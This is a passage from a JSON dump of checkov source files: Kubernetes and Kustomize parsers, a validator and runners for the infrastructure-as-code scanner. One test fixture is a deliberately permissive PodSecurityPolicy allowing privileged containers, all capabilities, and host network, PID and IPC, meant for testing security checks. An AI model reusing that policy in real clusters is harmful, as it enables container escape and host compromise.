mapping['__line__'] = node.start_mark.line + 1\n        mapping[START_LINE] = node.start_mark.line + 1\n        mapping[END_LINE] = node.end_mark.line + 1\n        return mapping\n\n\nclass CustomDecoder(SimpleDecoder):\n    def object_hook(self, obj: dict[str, Any]) -> Any:\n        obj[START_LINE] = 0\n        obj[END_LINE] = 0\n        return obj\n"
  },
  {
    "path": "checkov/kubernetes/parser/k8_yaml.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport re\nfrom collections.abc import Hashable\nfrom pathlib import Path\nfrom typing import List, Dict, Any, Tuple, TYPE_CHECKING\n\nimport yaml\nfrom yaml.loader import SafeLoader\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\nif TYPE_CHECKING:\n    from yaml import MappingNode\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef loads(content: str) -> List[Dict[str, Any]]:\n    \"\"\"\n    Load the given YAML string\n    \"\"\"\n\n    template = list(yaml.load_all(content, Loader=SafeLineLoader))\n\n    # Convert an empty file to an empty dict\n    if template is None:\n        template = {}\n\n    return template\n\n\ndef load(filename: Path) -> Tuple[List[Dict[str, Any]], List[Tuple[int, str]]]:\n    \"\"\"\n    Load the given YAML file\n    \"\"\"\n    helm_template_patterns = [r\"\\{\\{-?\\s*\\.Release\\.\", r\"\\{\\{-?\\s*\\.Values\\.\"]\n\n    content = read_file_with_any_encoding(file_path=filename)\n\n    if not all(key in content for key in (\"apiVersion\", \"kind\")):\n        return [{}], []\n\n    for pattern in helm_template_patterns:\n        if re.search(pattern, content):\n            return [{}], []\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n    template = loads(content)\n\n    return (template, file_lines)\n\n\nclass SafeLineLoader(SafeLoader):\n    def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]:\n        mapping = super().construct_mapping(node, deep=deep)\n        # Add 1 so line numbering starts at 1\n        # mapping['__line__'] = node.start_mark.line + 1\n        mapping['__startline__'] = node.start_mark.line + 1\n        mapping['__endline__'] = node.end_mark.line + 1\n        return mapping\n"
  },
  {
    "path": "checkov/kubernetes/parser/parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import Any\n\nfrom yaml import YAMLError\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.kubernetes.parser import k8_yaml, k8_json\nfrom checkov.kubernetes.parser.validatior import K8sValidator\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef parse(filename: str) -> tuple[list[dict[str, Any]], list[tuple[int, str]]] | None:\n    template = None\n    template_lines: \"list[tuple[int, str]]\" = []\n    valid_templates = []\n    try:\n        if filename.endswith((\".yaml\", \".yml\")):\n            (template, template_lines) = k8_yaml.load(Path(filename))\n        if filename.endswith(\".json\"):\n            (template, template_lines) = k8_json.load(Path(filename))\n        if template:\n            if isinstance(template, list):\n                for i, t in enumerate(template):\n                    is_valid, reason = K8sValidator.is_valid_template(t)\n                    if is_valid:\n                        valid_templates.append(t)\n                    else:\n                        logging.debug(f\"template {i} from file {filename} is not a valid k8s template, reason: {reason}\")\n            else:\n                return None\n        else:\n            return None\n    except IOError as e:\n        if e.errno == 2:\n            logger.error('Template file not found: %s', filename)\n            return None\n        elif e.errno == 21:\n            logger.error('Template references a directory, not a file: %s',\n                         filename)\n            return None\n        elif e.errno == 13:\n            logger.error('Permission denied when accessing template file: %s',\n                         filename)\n            return None\n    except UnicodeDecodeError:\n        logger.error('Cannot read file contents: %s', filename)\n        return None\n    except YAMLError:\n        if filename.endswith(\".yaml\") or filename.endswith(\".yml\"):\n            logger.debug('Cannot read file contents: %s - is it a yaml?', filename)\n        return None\n\n    return valid_templates, template_lines\n"
  },
  {
    "path": "checkov/kubernetes/parser/validatior.py",
    "content": "import re\nfrom typing import Any, Dict, Tuple\n\n\nclass K8sValidator:\n    name_disallowed_chars = re.compile(\"[#{}]+\")  # noqa: CCE003  # a static attribute\n\n    @staticmethod\n    def is_valid_template(template: Any) -> Tuple[bool, str]:\n        is_valid = isinstance(template, dict)\n        if not is_valid:\n            return is_valid, f'template is not a dict, but {type(template)}'\n\n        is_valid, reason = K8sValidator._has_required_fields(template)\n        if not is_valid:\n            return is_valid, reason\n\n        is_valid, reason = K8sValidator._is_section_valid(template)\n        if not is_valid:\n            return is_valid, reason\n\n        return True, ''\n\n    @staticmethod\n    def _has_required_fields(template: Dict[str, Any]) -> Tuple[bool, str]:\n        for key in ['apiVersion', 'kind']:\n            if key not in template.keys():\n                return False, f'the key {key} does not exist in template structure'\n        return True, ''\n\n    @staticmethod\n    def _is_section_valid(template: Dict[str, Any]) -> Tuple[bool, str]:\n        for segment in template.keys():\n            if isinstance(template[segment], dict):\n                is_section_valid, reason = K8sValidator._is_section_valid(template[segment])\n                if not is_section_valid:\n                    return is_section_valid, reason\n            elif isinstance(template[segment], list):\n                for entry in template[segment]:\n                    if isinstance(entry, dict):\n                        is_section_valid, reason = K8sValidator._is_section_valid(entry)\n                        if not is_section_valid:\n                            return is_section_valid, reason\n            elif segment == 'name':\n                is_section_valid, reason = K8sValidator._is_name_valid(template[segment])\n                if not is_section_valid:\n                    return is_section_valid, reason\n        return True, ''\n\n    @staticmethod\n    def _is_name_valid(name: Any) -> Tuple[bool, str]:\n        if not isinstance(name, str) or len(name) > 253:\n            return False, f'name {name} is invalid'\n        if K8sValidator.name_disallowed_chars.search(name):\n            return False, f'name {name} is invalid'\n        return True, ''\n"
  },
  {
    "path": "checkov/kubernetes/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Type, Any, TYPE_CHECKING\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import ImageReferencerMixin\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report, merge_reports\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.kubernetes.checks.resource.registry import registry\nfrom checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph\nfrom checkov.kubernetes.graph_manager import KubernetesGraphManager\nfrom checkov.kubernetes.image_referencer.manager import KubernetesImageReferencerManager\nfrom checkov.kubernetes.kubernetes_utils import (\n    create_definitions,\n    build_definitions_context,\n    get_skipped_checks,\n    get_resource_id,\n    K8_POSSIBLE_ENDINGS,\n    PARENT_RESOURCE_ID_KEY_NAME,\n    create_check_result,\n)\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n    from types import FrameType\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.common.images.image_referencer import Image\n    from checkov.common.typing import _CheckResult, _EntityContext\n\n_KubernetesContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_KubernetesDefinitions: TypeAlias = \"dict[str, list[dict[str, Any]]]\"\n\n\nclass TimeoutError(Exception):\n    pass\n\n\ndef handle_timeout(signum: int, frame: FrameType | None) -> Any:\n    raise TimeoutError('command got timeout')\n\n\nclass Runner(ImageReferencerMixin[None], BaseRunner[_KubernetesDefinitions, _KubernetesContext, KubernetesGraphManager]):\n    check_type = CheckType.KUBERNETES  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        graph_class: Type[KubernetesLocalGraph] = KubernetesLocalGraph,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = GraphSource.KUBERNETES,\n        graph_manager: KubernetesGraphManager | None = None,\n        external_registries: list[BaseRegistry] | None = None,\n        report_type: str = check_type\n    ) -> None:\n\n        super().__init__(file_extensions=K8_POSSIBLE_ENDINGS)\n        db_connector = db_connector or self.db_connector\n        self.external_registries = [] if external_registries is None else external_registries\n        self.graph_class = graph_class\n        self.graph_manager = \\\n            graph_manager if graph_manager else KubernetesGraphManager(source=source, db_connector=db_connector)\n\n        self.graph_registry = get_graph_checks_registry(Runner.check_type)\n        self.definitions: _KubernetesDefinitions = {}\n        self.definitions_raw: \"dict[str, list[tuple[int, str]]]\" = {}\n        self.context: _KubernetesContext | None = None\n        self.report_mutator_data: \"dict[str, dict[str, Any]]\" = {}\n        self.report_type = report_type\n\n    def run(\n        self,\n        root_folder: str | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        if self.context is None or self.definitions is None:\n            if files or root_folder:\n                self.definitions, self.definitions_raw = create_definitions(root_folder, files, runner_filter)\n            else:\n                return report\n            if external_checks_dir:\n                for directory in external_checks_dir:\n                    registry.load_external_checks(directory)\n\n                    if self.graph_registry:\n                        self.graph_registry.load_external_checks(directory)\n\n            self.context = build_definitions_context(self.definitions, self.definitions_raw)\n            self.spread_list_items()\n\n            if self.graph_manager:\n                logging.info(\"creating Kubernetes graph\")\n                local_graph = self.graph_manager.build_graph_from_definitions(pickle_deepcopy(self.definitions))\n                logging.info(\"Successfully created Kubernetes graph\")\n\n                for vertex in local_graph.vertices:\n                    file_abs_path = _get_entity_abs_path(root_folder, vertex.path)\n                    report.add_resource(f'{file_abs_path}:{vertex.id}')\n                self.graph_manager.save_graph(local_graph)\n        self.pbar.initiate(len(self.definitions))\n        report = self.check_definitions(root_folder, runner_filter, report, collect_skip_comments=collect_skip_comments)\n\n        if self.graph_manager:\n            graph_report = self.get_graph_checks_report(root_folder, runner_filter)\n            merge_reports(report, graph_report)\n\n            if runner_filter.run_image_referencer:\n                if files:\n                    # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form\n                    root_folder = os.path.split(os.path.commonprefix(files))[0]\n\n                image_report = self.get_image_report(root_folder, runner_filter)\n\n                if image_report:\n                    # due too many tests failing only return a list, if there is an image report\n                    return [report, image_report]\n\n        return report\n\n    def get_image_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report | None:\n        if not self.graph_manager:\n            return None\n        return self.check_container_image_references(\n            graph_connector=self.graph_manager.get_reader_endpoint(),\n            root_path=root_folder,\n            runner_filter=runner_filter,\n        )\n\n    def spread_list_items(self) -> None:\n        for _, file_conf in self.definitions.items():\n            for resource in file_conf[:]:\n                if resource.get('kind') == \"List\":\n                    file_conf.extend(item for item in resource.get(\"items\", []) if item)\n                    file_conf.remove(resource)\n\n    def check_definitions(\n        self, root_folder: str | None, runner_filter: RunnerFilter, report: Report, collect_skip_comments: bool = True\n    ) -> Report:\n        for k8_file in self.definitions.keys():\n            self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(k8_file, root_folder)})\n            # There are a few cases here. If -f was used, there could be a leading / because it's an absolute path,\n            # or there will be no leading slash; root_folder will always be none.\n            # If -d is used, root_folder will be the value given, and -f will start with a / (hardcoded above).\n            # The goal here is simply to get a valid path to the file (which sls_file does not always give).\n            file_abs_path = _get_entity_abs_path(root_folder, k8_file)\n            k8_file_path = f\"/{os.path.relpath(file_abs_path, root_folder)}\"\n            # Run for each definition\n            for entity_conf in self.definitions[k8_file]:\n                entity_type = entity_conf.get(\"kind\")\n\n                # Skip Kustomization Templates.\n                # Should be handled by Kusomize framework handler when it finds kustomization.yaml files.\n                # TODO: FUTURE: Potentially call the framework if we find items here that aren't in a file called kustomization.yaml - validate this edge case.\n                if entity_type == \"Kustomization\":\n                    continue\n\n                skipped_checks = get_skipped_checks(entity_conf)\n                results = registry.scan(k8_file, entity_conf, skipped_checks, runner_filter)\n\n                # TODO? - Variable Eval Message!\n                variable_evaluations: \"dict[str, Any]\" = {}\n\n                report = self.mutate_kubernetes_results(results, report, k8_file, k8_file_path, file_abs_path,\n                                                        entity_conf, variable_evaluations, root_folder)\n            self.pbar.update()\n        self.pbar.close()\n        return report\n\n    def get_graph_checks_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report:\n        report = Report(self.check_type)\n        checks_results = self.run_graph_checks_results(runner_filter, self.report_type)\n        report = self.mutate_kubernetes_graph_results(root_folder, runner_filter, report, checks_results)\n        return report\n\n    def mutate_kubernetes_results(\n        self,\n        results: dict[BaseCheck, _CheckResult],\n        report: Report,\n        k8_file: str,\n        k8_file_path: str,\n        file_abs_path: str,\n        entity_conf: dict[str, Any],\n        variable_evaluations: dict[str, Any],\n        root_folder: str | None = None\n    ) -> Report:\n        # Moves report generation logic out of run() method in Runner class.\n        # Allows function overriding of a much smaller function than run() for other \"child\" frameworks such as Kustomize, Helm\n        # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both).\n\n        if results:\n            if not self.context:\n                # this shouldn't happen\n                logging.error(\"Context for Kubernetes runner was not set\")\n                return report\n\n            for check, check_result in results.items():\n                resource_id = get_resource_id(entity_conf)\n                if not resource_id:\n                    continue\n\n                entity_context = self.context[k8_file][resource_id]\n\n                record = Record(\n                    check_id=check.id,\n                    bc_check_id=check.bc_id,\n                    check_name=check.name,\n                    check_result=check_result,\n                    code_block=entity_context.get(\"code_lines\"),\n                    file_path=k8_file_path,\n                    file_line_range=[entity_context.get(\"start_line\"), entity_context.get(\"end_line\")],\n                    resource=resource_id,\n                    evaluations=variable_evaluations,\n                    check_class=check.__class__.__module__,\n                    file_abs_path=file_abs_path,\n                    severity=check.severity,\n                )\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n        else:\n            resource_id = get_resource_id(entity_conf)\n            if not resource_id:\n                return report\n\n            # resources without checks, but not existing ones\n            report.extra_resources.add(\n                ExtraResource(\n                    file_abs_path=file_abs_path,\n                    file_path=k8_file_path,\n                    resource=resource_id,\n                )\n            )\n\n        return report\n\n    def mutate_kubernetes_graph_results(\n        self,\n        root_folder: str | None,\n        runner_filter: RunnerFilter,\n        report: Report,\n        checks_results: dict[BaseGraphCheck, list[_CheckResult]],\n    ) -> Report:\n        # Moves report generation logic out of run() method in Runner class.\n        # Allows function overriding of a much smaller function than run() for other \"child\" frameworks such as Kustomize, Helm\n        # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both).\n        if not checks_results:\n            return report\n\n        for check, check_results in checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path = entity[CustomAttributes.FILE_PATH]\n                entity_file_abs_path = _get_entity_abs_path(root_folder, entity_file_path)\n                entity_context = self.get_entity_context(entity=entity, entity_file_path=entity_file_path)\n\n                clean_check_result = create_check_result(\n                    check_result=check_result, entity_context=entity_context, check_id=check.id\n                )\n\n                record = Record(\n                    check_id=check.id,\n                    check_name=check.name,\n                    check_result=clean_check_result,\n                    code_block=entity_context.get(\"code_lines\") or [],\n                    file_path=get_relative_file_path(entity_file_abs_path, root_folder),\n                    file_line_range=[entity_context.get(\"start_line\") or 0, entity_context.get(\"end_line\") or 0],\n                    resource=entity[CustomAttributes.ID],\n                    evaluations={},\n                    check_class=check.__class__.__module__,\n                    file_abs_path=entity_file_abs_path,\n                    severity=check.severity\n                )\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n        return report\n\n    def get_entity_context(self, entity: dict[str, Any], entity_file_path: str) -> _EntityContext:\n        \"\"\"Extract the context for the given entity\n\n        Deal with nested pods within a deployment.\n        May have K8S graph adjacencies, but will not be in the self.context map of objects.\n        (Consider them 'virtual' objects created for the sake of graph lookups)\n        \"\"\"\n\n        entity_context: _EntityContext = {}\n\n        if PARENT_RESOURCE_ID_KEY_NAME in entity:\n            if entity[CustomAttributes.RESOURCE_TYPE] == \"Pod\":\n                # self.context not being None is checked in the caller method\n                entity_context = self.context[entity_file_path][entity[PARENT_RESOURCE_ID_KEY_NAME]]  # type:ignore[index]\n            else:\n                logging.info(\n                    \"Unsupported nested resource type for Kubernetes graph edges. \"\n                    f\"Type: {entity[CustomAttributes.RESOURCE_TYPE]} Parent: {entity[PARENT_RESOURCE_ID_KEY_NAME]}\"\n                )\n        else:\n            entity_id = entity[CustomAttributes.ID]\n            # self.context not being None is checked in the caller method\n            entity_context = self.context[entity_file_path][entity_id]  # type:ignore[index]\n\n        return entity_context\n\n    def extract_images(\n        self,\n        graph_connector: DiGraph | None = None,\n        definitions: None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None\n    ) -> list[Image]:\n        if not graph_connector:\n            # should not happen\n            return []\n\n        manager = KubernetesImageReferencerManager(graph_connector=graph_connector)\n        images = manager.extract_images_from_resources()\n\n        return images\n\n\ndef get_relative_file_path(file_abs_path: str, root_folder: str | None) -> str:\n    return f\"/{os.path.relpath(file_abs_path, root_folder)}\"\n\n\ndef _get_entity_abs_path(root_folder: str | None, entity_file_path: str) -> str:\n    if entity_file_path[0] == '/' and (root_folder and not entity_file_path.startswith(root_folder)):\n        path_to_convert = (root_folder + entity_file_path) if root_folder else entity_file_path\n    else:\n        path_to_convert = (os.path.join(root_folder, entity_file_path)) if root_folder else entity_file_path\n    return os.path.abspath(path_to_convert)\n"
  },
  {
    "path": "checkov/kubernetes/test/share-process-namespace.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: privileged\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'\nspec:\n  privileged: true\n  allowPrivilegeEscalation: true\n  allowedCapabilities:\n    - '*'\n  volumes:\n    - '*'\n  hostNetwork: true\n  hostPorts:\n    - min: 0\n      max: 65535\n  hostIPC: true\n  hostPID: true\n  runAsUser:\n    rule: 'RunAsAny'\n  seLinux:\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'RunAsAny'\n  fsGroup:\n    rule: 'RunAsAny'"
  },
  {
    "path": "checkov/kustomize/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kustomize/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kustomize/image_referencer/base_provider.py",
    "content": "from __future__ import annotations\nfrom typing import Any, Mapping\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.kubernetes.image_referencer.base_provider import BaseKubernetesProvider\nfrom checkov.common.images.graph.image_referencer_provider import _ExtractImagesCallableAlias\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\n\n\nclass BaseKustomizeProvider(BaseKubernetesProvider):\n    def __init__(self, graph_connector: LibraryGraph,\n                 supported_resource_types: dict[str, _ExtractImagesCallableAlias] | Mapping[str, _ExtractImagesCallableAlias],\n                 report_mutator_data: dict[str, dict[str, Any]]) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=supported_resource_types,\n        )\n        self.report_mutator_data = report_mutator_data\n\n    def _get_resource_path(self, resource: dict[str, Any]) -> str:\n        k8s_path = resource.get(CustomAttributes.FILE_PATH, \"\")\n        dir_path = self.report_mutator_data.get('kustomizeFileMappings', {}).get(k8s_path, \"\")\n        file_metadata = self.report_mutator_data.get('kustomizeMetadata', {}).get(dir_path, {})\n        return str(file_metadata.get('filePath', \"\"))\n"
  },
  {
    "path": "checkov/kustomize/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.kustomize.image_referencer.provider.kustomize import KustomizeProvider\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass KustomizeImageReferencerManager(GraphImageReferencerManager):\n\n    def __init__(self, graph_connector: LibraryGraph, report_mutator_data: dict[str, dict[str, Any]]):\n        super().__init__(graph_connector)\n        self.report_mutator_data = report_mutator_data\n\n    def extract_images_from_resources(self) -> list[Image]:\n        kustomize_provider = KustomizeProvider(graph_connector=self.graph_connector, report_mutator_data=self.report_mutator_data)\n        images = kustomize_provider.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/kustomize/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kustomize/image_referencer/provider/kustomize.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, Dict\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.kubernetes.image_referencer.provider.k8s import SUPPORTED_K8S_IMAGE_RESOURCE_TYPES\nfrom checkov.kustomize.image_referencer.base_provider import BaseKustomizeProvider\n\n\nclass KustomizeProvider(BaseKustomizeProvider):\n    def __init__(self, graph_connector: LibraryGraph, report_mutator_data: Dict[str, Dict[str, Any]]):\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_K8S_IMAGE_RESOURCE_TYPES,\n            report_mutator_data=report_mutator_data\n        )\n"
  },
  {
    "path": "checkov/kustomize/runner.py",
    "content": "from __future__ import annotations\n\nimport io\nimport logging\nimport multiprocessing\nimport os\nimport pathlib\nimport platform\nimport shutil\nimport subprocess  # nosec\nimport tempfile\n\nimport yaml\nfrom typing import Optional, Dict, Any, TextIO, TYPE_CHECKING\n\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\n\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths\nfrom checkov.common.typing import _CheckResult, _EntityContext\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.type_forcers import convert_str_to_bool\nfrom checkov.kubernetes.kubernetes_utils import create_check_result, get_resource_id, calculate_code_lines, \\\n    PARENT_RESOURCE_ID_KEY_NAME\nfrom checkov.kubernetes.runner import Runner as K8sRunner, _get_entity_abs_path, _KubernetesContext, _KubernetesDefinitions\nfrom checkov.kustomize.image_referencer.manager import KustomizeImageReferencerManager\nfrom checkov.kustomize.utils import get_kustomize_version, get_kubectl_version\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.kubernetes.graph_manager import KubernetesGraphManager\n    from networkx import DiGraph\n\n\nclass K8sKustomizeRunner(K8sRunner):\n    check_type = CheckType.KUSTOMIZE  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        graph_class: type[KubernetesLocalGraph] = KubernetesLocalGraph,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = GraphSource.KUBERNETES,\n        graph_manager: KubernetesGraphManager | None = None,\n        external_registries: list[BaseRegistry] | None = None\n    ) -> None:\n\n        super().__init__(graph_class, db_connector, source, graph_manager, external_registries, CheckType.KUSTOMIZE)\n        self.report_mutator_data: \"dict[str, dict[str, Any]]\" = {}\n        self.original_root_dir: str = ''\n        self.pbar.turn_off_progress_bar()\n\n        # Allows using kustomize commands to directly edit the user's kustomization.yaml configurations\n        self.checkov_allow_kustomize_file_edits = convert_str_to_bool(os.getenv(\"CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS\",\n                                                                                False))\n\n    def set_external_data(\n        self,\n        definitions: _KubernetesDefinitions | None,\n        context: dict[str, dict[str, Any]] | None,\n        breadcrumbs: dict[str, dict[str, Any]] | None,\n        report_mutator_data: dict[str, dict[str, Any]] | None = None,\n        **kwargs: Any,\n    ) -> None:\n        super().set_external_data(definitions, context, breadcrumbs)\n        self.report_mutator_data = report_mutator_data or {}\n\n    def set_report_mutator_data(self, report_mutator_data: Optional[Dict[str, Dict[str, Any]]]) -> None:\n        self.report_mutator_data = report_mutator_data or {}\n\n    @staticmethod\n    def get_kustomize_resource_id(realKustomizeEnvMetadata: dict[str, Any], resource_id: str) -> str:\n        if 'overlay' in realKustomizeEnvMetadata[\"type\"]:\n            kustomizeResourceID = f'{realKustomizeEnvMetadata[\"type\"]}:{str(realKustomizeEnvMetadata[\"overlay_name\"])}:{resource_id}'\n        else:\n            kustomizeResourceID = f'{realKustomizeEnvMetadata[\"type\"]}:{resource_id}'\n        return kustomizeResourceID\n\n    def mutate_kubernetes_results(\n        self,\n        results: dict[BaseCheck, _CheckResult],\n        report: Report,\n        k8_file: str,\n        k8_file_path: str,\n        file_abs_path: str,\n        entity_conf: dict[str, Any],\n        variable_evaluations: dict[str, Any],\n        root_folder: str | None = None\n    ) -> Report:\n        # Moves report generation logic out of checkov.kubernetes.runner.run() def.\n        # Allows us to overriding report file information for \"child\" frameworks such as Kustomize, Helm\n        # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both).\n        if not self.context:\n            # this shouldn't happen\n            logging.error(\"context was not set correctly\")\n            return report\n\n        kustomize_metadata = self.report_mutator_data['kustomizeMetadata'],\n        kustomize_file_mappings = self.report_mutator_data['kustomizeFileMappings']\n        for check, check_result in results.items():\n            resource_id = get_resource_id(entity_conf)\n            if not resource_id:\n                logging.error(f\"Couldn't get resource ID for {entity_conf}\")\n                continue\n\n            entity_context = self.context[k8_file][resource_id]\n\n            if file_abs_path not in kustomize_file_mappings:\n                logging.warning(f\"couldn't find {file_abs_path} path in kustomizeFileMappings\")\n                continue\n\n            realKustomizeEnvMetadata = kustomize_metadata[0][kustomize_file_mappings[file_abs_path]]\n            kustomizeResourceID = self.get_kustomize_resource_id(realKustomizeEnvMetadata, resource_id)\n\n            external_run_indicator = \"Bc\"\n            file_path = realKustomizeEnvMetadata['filePath']\n\n            caller_file_path = None\n            caller_file_line_range = None\n\n            # means this scan originated in the platform\n            if type(self.graph_manager).__name__.startswith(external_run_indicator):\n                absolute_file_path = file_abs_path\n            else:\n                absolute_file_path = realKustomizeEnvMetadata['filePath']\n                # Fix file path to repo relative path\n                if self.original_root_dir:\n                    repo_dir = str(pathlib.Path(self.original_root_dir).resolve())\n\n                    if realKustomizeEnvMetadata['filePath'].startswith(repo_dir):\n                        file_path = realKustomizeEnvMetadata['filePath'][len(repo_dir):]\n\n            if self.checkov_allow_kustomize_file_edits:\n                caller_resource_id = resource_id\n                if PARENT_RESOURCE_ID_KEY_NAME in entity_conf:\n                    caller_resource_id = entity_conf[PARENT_RESOURCE_ID_KEY_NAME]\n                caller_file_line_range, caller_file_path = self._get_caller_file_info(entity_context, k8_file,\n                                                                                      k8_file_path,\n                                                                                      resource_id,\n                                                                                      caller_resource_id,\n                                                                                      root_folder)\n            code_lines = entity_context.get(\"code_lines\")\n            file_line_range = self.line_range(code_lines)\n\n            record = Record(\n                check_id=check.id, bc_check_id=check.bc_id, check_name=check.name,\n                check_result=check_result, code_block=code_lines,\n                file_path=file_path, file_line_range=file_line_range,\n                caller_file_path=caller_file_path, caller_file_line_range=caller_file_line_range,\n                resource=kustomizeResourceID, evaluations=variable_evaluations,\n                check_class=check.__class__.__module__, file_abs_path=absolute_file_path, severity=check.severity)\n            record.set_guideline(check.guideline)\n            report.add_record(record=record)\n\n        return report\n\n    def _get_caller_file_info(self, entity_context: _EntityContext, k8_file: str, k8_file_path: str, resource_id: str,\n                              caller_resource_id: str, root_folder: str | None) -> tuple[tuple[int, int] | None, str | None]:\n        origin_relative_path = entity_context.get('origin_relative_path')\n        if origin_relative_path is None:\n            return None, None\n        k8s_file_dir = pathlib.Path(k8_file_path).parent\n        raw_file_path = k8s_file_dir / origin_relative_path\n        caller_file_path = self._get_caller_file_path(k8s_file_dir, origin_relative_path, raw_file_path)\n        if root_folder is None:\n            return None, caller_file_path\n        caller_file_line_range = self._get_caller_line_range(root_folder, k8_file, origin_relative_path,\n                                                             resource_id, caller_resource_id)\n        return caller_file_line_range, caller_file_path\n\n    @staticmethod\n    def _get_caller_file_path(k8s_file_dir: pathlib.Path, origin_relative_path: str, raw_file_path: pathlib.Path)\\\n            -> str:\n        \"\"\"\n        Creates the correct file path based on the collection of metadata locations we have.\n\n        Example for expected input:\n            - k8s_fil_dir - Path('/resources/image_referencer/overlays/prod')\n            - origin_relative_path - '../../base/deployment.yaml'\n            - raw_file_path - Path('/resources/image_referencer/overlays/prod/../../base/deployment.yaml')\n        \"\"\"\n        amount_of_parents = str.count(origin_relative_path, '..')\n        directory_prefix_path = k8s_file_dir\n        if amount_of_parents == 0:\n            # In case we don't have any relative paths, we need to remove the first directory parent\n            # (as the first directory is the same one of the kustomization.yaml file)\n            directory_prefix_path = k8s_file_dir.parent\n        elif amount_of_parents and len(k8s_file_dir.parents) >= amount_of_parents:\n            directory_prefix_path = k8s_file_dir.parents[amount_of_parents - 1]\n\n        directory_prefix = str(directory_prefix_path)\n        resolved_path = str(raw_file_path.resolve())\n        # Make sure the resolved path starts with the root folder, as pathlib.Path.resolve() might change it\n        if directory_prefix in resolved_path and not resolved_path.startswith(directory_prefix):\n            resolved_path = K8sKustomizeRunner._remove_extra_path_parts(resolved_path, directory_prefix)\n\n        return resolved_path[len(str(directory_prefix)):]\n\n    @staticmethod\n    def _remove_extra_path_parts(resolved_path: str, prefix: str) -> str:\n        \"\"\"\n        Some pathlib paths can \"add\" extra arguments at the beginning after running 